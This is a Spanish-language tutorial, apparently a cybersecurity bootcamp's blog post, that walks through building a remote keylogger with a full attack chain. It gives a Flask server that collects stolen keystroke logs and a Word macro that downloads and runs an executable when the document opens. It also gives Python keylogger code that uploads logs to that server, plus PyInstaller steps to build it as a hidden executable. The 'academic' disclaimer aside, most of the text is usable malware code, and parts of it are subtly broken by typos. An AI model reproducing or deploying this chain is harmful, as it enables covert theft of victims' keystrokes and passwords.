¿Cómo hacer un keylogger remoto con Python?

¿Alguna vez te has preguntado como crear un keylogger remoto indetectable?

A continuación, veremos un tutorial de cómo hacer un keylogger remoto escrito en Python, el cual le enviará la información robada a una botnet. Sin embargo, antes debemos advertir que este contenido se realiza con fines académicos, con el propósito de entender cómo funcionan estos malwares y aprender cómo reconocerlos, evitarlos y eliminarlos.

¿Cómo hacer un keylogger remoto con Python?

Un key logger in python remoto es un programa que almacena las entradas de todo lo que pulsamos en el teclado y envía esta información a un servidor.

El primer paso de este tutorial es crear dicho servidor, pero antes te recomendamos desplegar una máquina virtual por medio de algún software como VMware o VirtualBox.

Configuración de máquina virtual:

• Ubuntu 20.04 LTS.
• 2 GB de RAM.
• 30 GB de disco duro.

Ahora, antes de ver cómo hacer un keylogger with python , debemos crear el servidor y el vector de ataque de distribución para simular un ciberataque real.

Crear el servidor

Primero, crearemos un servidor, utilizando Flask en Python, que pueda recibir peticiones:

1. Crea una carpeta en el escritorio de tu máquina virtual con el nombre que desees. La nuestra, para este ejemplo, se llamará “api_server”.
2. Allí, crearemos una carpeta llamada “uploads” y un archivo de Python llamado “flask_app.py”.
3. En el fichero “flask_app.py“, introduciremos el siguiente código:

//como crear un spyware con python
import os
import urllib.request
from flask import Flask, request, redirect, jsonify
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = '/home/keepcoding/Desktop/api_server/uploads/'

@app.route('/upload', methods=['POST'])
def upload_file():
# check if the post request has the file part
if 'file' not in request.files:
resp = jsonify({'message' : 'No file part in the request'})
resp.status_code = 400
return resp
file = request.files['file']
if file.filename == '':
resp = jsonify({'message' : 'No file selected for uploading'})
resp.status_code = 400
return resp
else:
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
resp = jsonify({'message' : 'File succesfully uploaded'})
resp.status_code = 201
return resp

if __name__ == "__main__":
app.run(host='0.0.0.0')

La función de este código es utilizar la tecnología Flask para montar un servidor que permita recibir peticiones.

Recuerda reemplazar la dirección del directorio ‘/home/keepcoding/Desktop/api_server/uploads/’ por la de la carpeta que has creado en tu máquina virtual en el paso anterior.

Ahora, abre una consola en la carpeta “api_server” e introduce los siguientes comandos:

//como crear un keylogger en python
setxkbmap es

Recuerda poner el teclado en español para evitar problemas con la interpretación de caracteres.

Luego, ejecuta este comando:

//keylogger using python
python3 flask_app.py

A continuación, verás una pantalla como esta, que te indicará la dirección IP del servidor creado. En este ejemplo, la dirección IP del servidor es http://192.168.1.74:5000/.

Ya tenemos listo el servidor de nuestra botnet.

Crear el vector de ataque

El siguiente paso de cómo hacer un keylogger remoto es crear el vector de ataque de distribución. Esto hará que el protocolo del malware sea mucho más realista. El vector de ataque que crearemos será un archivo ofimático (documento de Microsoft Word) infectado con un macro, cuya función será conectarse a una dirección HTTP y descargar el keylogger.

Servidor HTTP

Para ello, lo primero que haremos será crear un servidor HTTP, al cual subiremos el keylogger:

1. Crea una carpeta llamada “http_server” en el escritorio de tu máquina virtual.
2. Abre una terminal en dicha carpeta e introduce los siguientes comandos.

Para crear el servidor desde el cual se descargará el malware, con la librería HTTP en Python, ejecuta el siguiente código en la consola:

python3 -m http.server 8000

Para verificar que la dirección está funcionando, pruébala en tu navegador. Para nuestro ejemplo, haríamos la prueba con la dirección 192.168.1.74:8000, porque hemos creado el servidor en el puerto 8000.

Documento con macros

La siguiente parte de este paso de cómo hacer un keylogger será crear el documento ofimático con macros que descargará y ejecutará el malware en el dispositivo de la hipotética víctima. Para ello, sigue los siguientes pasos:

1. Crea un documento de Microsoft Word.
2. Presiona las teclas ‘Alt + F11’ para abrir el editor de macros del documento en Visual Basic. Selecciona la opción “ThisDocument” e inserta el siguiente código:

Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Document_Open()
MsgBox "Probando"
download_File
EndSub

Sub download_File()
URL = "http://192.168.1.74.8000/win.exe"
dlpath = CStr(Environ("AppData"))
URLDownloadToFile 0, URL, dlpath & "\win.exe", 0, 0
Shell (dlpath & "\win.exe")
End Sub

El nombre “win.exe” corresponde al keylogger, que crearemos en el siguiente paso.

Recuerda cambiar la dirección del servidor “http://192.168.1.74.8000/win.exe” por la que creaste en el paso anterior.

Crear el keylogger

El paso final de cómo hacer un keylogger remoto es crear el malware en Python, convertirlo en un ejecutable y subirlo al servidor.

Para ello, crearemos un archivo de Python llamado “keylogger.py“, en el cual introduciremos el siguiente código:

from pynput import keyboard
import logging os, requests

class Keylogger():

text = None
count = None
url = None

def: __init__(self):
self.text = ""
self.count = 0
self.utl = "http://192.168.1.74:500/upload"
self.logDir = os.path.join(os.path.dirname(os.path.dirname(__file__)), "log")

if not os.path.exists(self.logDir):
os.mkdir(path=self.logDir)

logging.basicConfig(filename=os.path.join(self.logDir, "log.log"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
self.start()

def start (self):
with keyboard.Listener(on_press=self.on_press) as listener:
listener.join()

def on_press(self, key):
if key is not keyboard.Key.space and key is not keyboard.Key.enter and key is not keyboard.Key.tab:
try:
self.text = self.text + key.char
except AttributeError:
pass
else:
logging.info(self.text)
logging.info("Special character {0}".format(key))
self.text = ""
self.count += 1
if self.count%10 == 0:
f = open(os.path.join(self.log.Dir, "log.log"), "rb")
files = {"file": ("log.log", f)}
r = requests.post(url=self.url, files=files)
f.close()

Recuerda cambiar la dirección URL ‘http://192.168.1.74:500/upload‘ por la del servidor que has creado en el primer paso y ya tendrás el código en Python de un keylogger que registra las pulsaciones de las teclas de un sistema y las envía cada cierto tiempo a una botnet.

El paso final de cómo hacer un keylogger en Python es convertir el script a un ejecutable. Para eso, tendrás que instalar la librería pyinstaller versión 4.0 con el siguiente comando en una consola:

pip install pyinstaller==4.0

Una vez lo instales, ejecuta el siguiente comando en consola para crear el ejecutable del keylogger:

pyinstaller.exe -n win.exe --noconsole --onefile keylogger.py

Cuando ejecutas este código, se crearán varias carpetas en el directorio donde ejecutaste la terminal. Allí, accede a la carpeta llamada “dist” y toma el archivo llamado “win.exe“, que contiene nuestro keylogger.

Por último, puedes borrar todo lo demás que se haya creado, toma el ejecutable y ubícalo en la carpeta del servidor HTTP “http_server”.

Ahora sabes cómo hacer un keylogger remoto con vector de ataque. Si quieres seguir aprendiendo y convertirte en un experto analista de malware, ha llegado el momento de dar un paso más en tu formación y entrar en nuestro Ciberseguridad Full Stack Bootcamp. ¡Apúntate y especialízate en solo 7 meses!